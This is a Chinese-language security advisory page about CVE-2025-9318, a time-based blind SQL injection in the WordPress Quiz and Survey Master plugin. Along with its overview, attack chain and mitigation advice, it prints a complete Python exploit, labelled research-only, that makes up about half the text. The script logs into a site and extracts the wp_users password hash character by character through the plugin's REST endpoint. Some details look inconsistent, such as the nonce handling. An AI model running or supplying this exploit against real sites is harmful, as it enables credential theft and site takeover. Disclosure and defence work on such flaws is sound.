IPBUF安全漏洞报告
English
CVE-2025-9318 CVSS 6.5 中危

CVE-2025-9318 WordPress Quiz and Survey Master插件SQL注入漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-9318
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker

相关标签

SQL注入WordPress插件时间盲注CVE-2025-9318QSM认证用户漏洞REST API数据库泄露

漏洞概述

WordPress Quiz and Survey Master(QSM)插件存在SQL注入漏洞,该插件是WordPress平台上流行的测验和调查制作工具。漏洞源于is_linking参数的过滤不足,攻击者可通过构造恶意SQL语句利用此漏洞。成功利用此漏洞需要攻击者具有WordPress订阅者(Subscriber)级别或更高的账户权限,这意味着任何注册用户都可能成为潜在攻击者。攻击者可以利用该漏洞在数据库中执行任意SQL查询,从而窃取敏感信息,包括用户凭证、站点配置、数据库结构等机密数据。由于该漏洞属于时间盲注(time-based)SQL注入,攻击者需要通过响应时间差异来推断SQL执行结果,这使得攻击过程相对隐蔽但同样有效。建议受影响的用户立即升级到最新版本以修复此安全漏洞。

技术细节

该SQL注入漏洞位于Quiz and Survey Master插件的REST API处理逻辑中,具体在php/rest-api.php文件的第533行附近。漏洞产生的根本原因是双重安全缺陷:首先,程序对用户提交的is_linking参数未进行充分的输入过滤和转义处理;其次,现有的SQL查询语句缺乏足够的预处理(prepared statements)机制。攻击者作为已认证的订阅者用户,可通过REST API接口向服务器发送包含恶意SQL代码的is_linking参数值。由于缺少参数绑定机制,恶意SQL代码会直接拼接到原始查询语句中执行。时间盲注技术通过在SQL语句中使用SLEEP()或BENCHMARK()等时间延迟函数,根据服务器响应时间判断条件真假,从而逐步提取数据库数据。攻击者可构造如is_linking=1 AND (SELECT CASE WHEN condition THEN SLEEP(5) ELSE 0 END)形式的Payload,通过自动化工具遍历提取数据库内容。此漏洞影响所有版本至10.3.1的QSM插件。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者级别账户(可通过自助注册或社工手段获得)
STEP 2
步骤2
攻击者构造包含恶意SQL payload的is_linking参数,注入时间盲注SQL语句
STEP 3
步骤3
通过REST API端点 wp-json/qsm/v1/quizzes 发送POST请求,payload被直接拼接到SQL查询中
STEP 4
步骤4
利用SLEEP()函数造成时间延迟,通过响应时间判断条件真假,逐步提取数据库数据
STEP 5
步骤5
提取wp_users表中的用户密码哈希或其他敏感信息
STEP 6
步骤6
利用获取的凭证进行进一步横向渗透或完全接管WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-9318 PoC - WordPress QSM Plugin SQL Injection Tested on QSM <= 10.3.1 """ import requests import argparse import string import time def exploit_sqli(url, username, password, target_char, position): """ Time-based SQL Injection PoC Extracts data character by character based on response time """ # Login to WordPress session = requests.Session() login_url = f"{url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Prepare malicious request with time-based SQL injection # Target: Extract database user password hash target_payload = f"1' AND (SELECT CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),{position},1)='{target_char}') THEN SLEEP(5) ELSE 0 END) AND '1'='1" # REST API endpoint vulnerable api_url = f"{url}/wp-json/qsm/v1/quizzes" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-WP-Nonce': session.cookies.get('wordpress_test_cookie') or '' } data = { 'is_linking': target_payload } start_time = time.time() try: response = session.post(api_url, data=data, headers=headers, timeout=10) except requests.exceptions.Timeout: return True elapsed = time.time() - start_time # If response took > 5 seconds, the condition was true return elapsed > 5 def main(): parser = argparse.ArgumentParser(description='CVE-2025-9318 SQL Injection PoC') parser.add_argument('-u', '--url', required=True, help='WordPress site URL') parser.add_argument('-username', '--username', required=True, help='WordPress username') parser.add_argument('-password', '--password', required=True, help='WordPress password') parser.add_argument('-o', '--output', help='Output file for extracted data') args = parser.parse_args() print(f"[*] Testing CVE-2025-9318 on {args.url}") print("[*] Target: WordPress QSM Plugin <= 10.3.1") print("[*] Vulnerability: Time-based SQL Injection via is_linking parameter") # Character set for brute force charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + './:;@[]' extracted = "" position = 1 max_length = 100 while position <= max_length: found = False for char in charset: print(f"[*] Testing position {position}: {char}", end='\r') try: if exploit_sqli(args.url, args.username, args.password, char, position): extracted += char print(f"\n[+] Found character at position {position}: {char}") print(f"[+] Current extraction: {extracted}") found = True break except Exception as e: print(f"\n[-] Error: {e}") break if not found: print(f"\n[!] No more characters found at position {position}") break position += 1 print(f"\n[+] Final extraction: {extracted}") if args.output: with open(args.output, 'w') as f: f.write(extracted) print(f"[+] Results saved to {args.output}") if __name__ == "__main__": main()

影响范围

Quiz and Survey Master (QSM) <= 10.3.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制WordPress注册功能,仅允许管理员创建账户;2)审查并移除不必要的订阅者级别账户;3)在Web服务器层面配置SQL注入防护规则;4)监控wp-json/qsm/v1/*路径的异常请求日志;5)考虑暂时禁用Quiz and Survey Master插件或限制其API访问;6)实施双因素认证增强账户安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表